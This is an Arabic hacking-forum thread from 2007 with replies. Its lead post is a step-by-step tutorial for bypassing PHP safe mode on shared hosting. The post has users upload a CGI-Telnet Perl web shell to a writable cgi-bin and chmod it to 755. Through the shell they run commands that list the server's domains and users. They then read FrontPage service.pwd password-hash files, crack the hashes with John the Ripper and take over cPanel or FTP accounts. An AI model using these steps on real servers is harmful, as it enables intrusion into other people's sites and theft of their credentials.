((تحدى السيف مود))تعال وتخطى اقوى سيف مود مقابلك .. ولا وبعد خذ السي بنل هع هع

SnakE ThE BosS · 09-05-2007, 04:03 PM

بسم الله الرحمن الرحيم ...

اول شي في سيف مود واقف قدامك وماتقدر تتخطاه ؟؟ << ابشر بعزك تتخطاه وتاخذ باسورد الموقع بعد ((السي بنل)) ^_^

بس بشرط !! يكون مجلد الـ cgi-bin ((السي جي اي)) عليه تصريح يعني تقدر ترفع ملفات وانشاءالله بتتخطى ..

ملآحظه بسيطه

.. ان السيرفرات اللي السيف مود on ومافي ولا مجلد عليه تصريح تتخطاها بدقيقه .. بس السيرفر اللي كل مجلداته تصاريح صعب التخطي ^_^ لانه واثق من الحمايه حاط تصاريح مايدري اذا خذيت باسورد موقعه ماتنفعه الحمايه ^_*

+++++++++++++++++++++++++++++++++++++++++

نبدأ شرح نشوف الصورة اللي تبين ان فيه تصريح والسيف مود on ..

ندخل المجلد ونرفع ملف الـ CGI-Telnetp.pl

لتحميل الملف كلك يمين >> حفظ بإسم !!
او اضغط هنا ^_^

اللحين نرفع الملف اللي حملته .. وهذي الصورة بعد ماترفعه

ولازم تعطيه تصريح 755

وهذي صورة تطبيق الامر ..

والامر هو chmod 755 snake.pl

اللحين بعد ماننفذ نرجع للمجلد نفسه السي جي اي

شوفوا التصريح تغير صار 755

اللحين ندخل الملف اللي رفعناه بهذا الرابط

www.XXX.com/cgi-bin/snake.pl

اسم الموقع = XXX

شوفوا وش واجهة الملف

طبعاُ مثل ماشفتوا بالصورة الباس اللي تحطه snake وتضغط عقبها Enter

يلا اللحين نجرب نطبق اي امر مثلا ls -la

نشوف النتائج ^_^

ياسلام قدرنا نطبق الامر .. وشوفوا تحت بالصورة طلع لنا المسار اللي حنا فيه ..

واذا بغيت مثلا تروح للمسار الرئيسي تنفذ هذا الامر

cd .. /home/XXX/public_html/

XXX = يوزر الموقع

اللحين نجرب نطبق الامر اللي يطلع لنا كل الدومينات الموجوده بالسيرفر

ls /var/named

تـمآم طلعت لي كل الدومينات ..

اللحين يلا ابي اطلع الدومينات مع يوزراتها عشان استعرض الكونفق اذا كان معهم منتدى ^_^ واستعرض الملف اللي فيه الباس المشفر تبع السي بنل

ls -la /etc/valiases

مثل ماتشوفون طلعت لي اليوزرات تمام التمآآآآآآآآآم *_^

طيب اللحين وصلنا للجزء المهم اللي هو كيف اسحب الباس المشفر ^_^؟؟

اطبق هذا الامر مع تغير الـ XXX ليوزر الموقع اللي تبي تطلع الباس ((لازم يكون الموقع يدعم الفرونت بيج الظاهر))

cat /home/XXX/public_html/_vti_pvt/service.pwd

نبي نشوف طلع لنا الباس ولا ماطلع

فك التشفير ببرنامج الجون والف مبروووووووووووك عليك السي بنل

وتدخل السي بنل كذا www.XXX.com/2082

او تدخل الاف تي بي يمكن يكون نفس الباس ..

++++++++++++++++++++++++++++

اللحين هذا رابط موضوع لبرنامج الجون للأستاذ XP
http://alm3refh.com/vb/showthread.php?t=5

وهذا الملف اللي رفعناه للتخطي كل شي بأوامر تروح من مجلد لمجلد لازم بأمر و و و وهذا موضوع بيفيدك بالاوامر
http://alm3refh.com/vb/showthread.php?t=117

وانا جربت الملف في اقوى السيرفرات وتمام تخطى وماقد ماتخطى ^_^

+++++++++++++++++++++++++++

واذا في اي غلط بالشرح سامحوني ..

تحميل الشرح مع الصور بصيغة html

اخـوكم Sn4k3 Th3 Bos5

والسلام عليكم ورحمة الله وبركاته >>>

mHKrk · 09-05-2007, 05:22 PM

احب اكون اول من يرد عليك يا صديقي س****

بطل والشررررح مزبووط ^_*

جاري التجربه
وجااايك مليون

بررررب

XP · 09-05-2007, 05:24 PM

ابداع x ابداع كل شروحاتك روعه وسكربت البيرل قوي ومجرب

SnakE ThE BosS · 09-05-2007, 05:26 PM

اقتباس:

المشاركة الأصلية كتبت بواسطة mHKrk


	احب اكون اول من يرد عليك يا صديقي س**** بطل والشررررح مزبووط ^_* جاري التجربه وجااايك مليون بررررب

حيآآك الله ياعسل

انشاءالله تظبط معك يآرب

SnakE ThE BosS · 09-05-2007, 05:27 PM

اقتباس:

المشاركة الأصلية كتبت بواسطة XP


	ابداع x ابداع كل شروحاتك روعه وسكربت البيرل قوي ومجرب

تصدق متعلم على الملف من شرحك

<< ..

حيآك الله يآبطل منور الموضوع

SnakE ThE BosS · 09-05-2007, 05:28 PM

بس يمكن ياشباب المشكلة اللي بتواجهكم اللي هي فك التشفير

<< منحوس ماقد انفك معه باس مشفر ..

الله لا يهينكم اللي معه برنامج غير الجون او موقع يفك اكون شآكر له

mHKrk · 09-05-2007, 05:36 PM

يا جماعة الخير

انا رفعته بس طلعلي

Internal Server Error
The server encountered an internal error or misconfiguration and was unable to complete your request.
Please contact the server administrator, webmaster@edf.net and inform them of the time the error occurred, and anything you might have done that may have caused the error.

More information about this error may be available in the server error log.

Additionally, a 404 Not Found error was encountered while trying to use an Error******** to handle the request.

رفعت ملف الهتاكس ولا فاد ؟؟؟

mHKrk · 09-05-2007, 05:41 PM

ملآحظه بسيطه .. ان السيرفرات اللي السيف مود on ومافي ولا مجلد عليه تصريح تتخطاها بدقيقه .. بس السيرفر اللي كل مجلداته تصاريح صعب التخطي ^_^ لانه واثق من الحمايه حاط تصاريح مايدري اذا خذيت باسورد موقعه ماتنفعه الحمايه ^_*

جملتك ذي ما فهمتها ياليت شرح بسيط

SnakE ThE BosS · 09-05-2007, 05:54 PM

اقتباس:

المشاركة الأصلية كتبت بواسطة mHKrk


	يا جماعة الخير انا رفعته بس طلعلي Internal Server Error The server encountered an internal error or misconfiguration and was unable to complete your request. Please contact the server administrator, webmaster@edf.net and inform them of the time the error occurred, and anything you might have done that may have caused the error. More information about this error may be available in the server error log. Additionally, a 404 Not Found error was encountered while trying to use an Error******** to handle the request. رفعت ملف الهتاكس ولا فاد ؟؟؟

عطه تصريح 755 وراح يصير التصريح نفس الصورة اللس حطتيتها ...

chmod 755 snake.pl

JaDe MaRkoL · 09-05-2007, 05:55 PM

مشكووور اخوي سنيك على الشرح الرائع

تسلم ايديك

((تحدى السيف مود))تعال وتخطى اقوى سيف مود مقابلك .. ولا وبعد خذ السي بنل هع هع

أمن المواقع والسيرفرات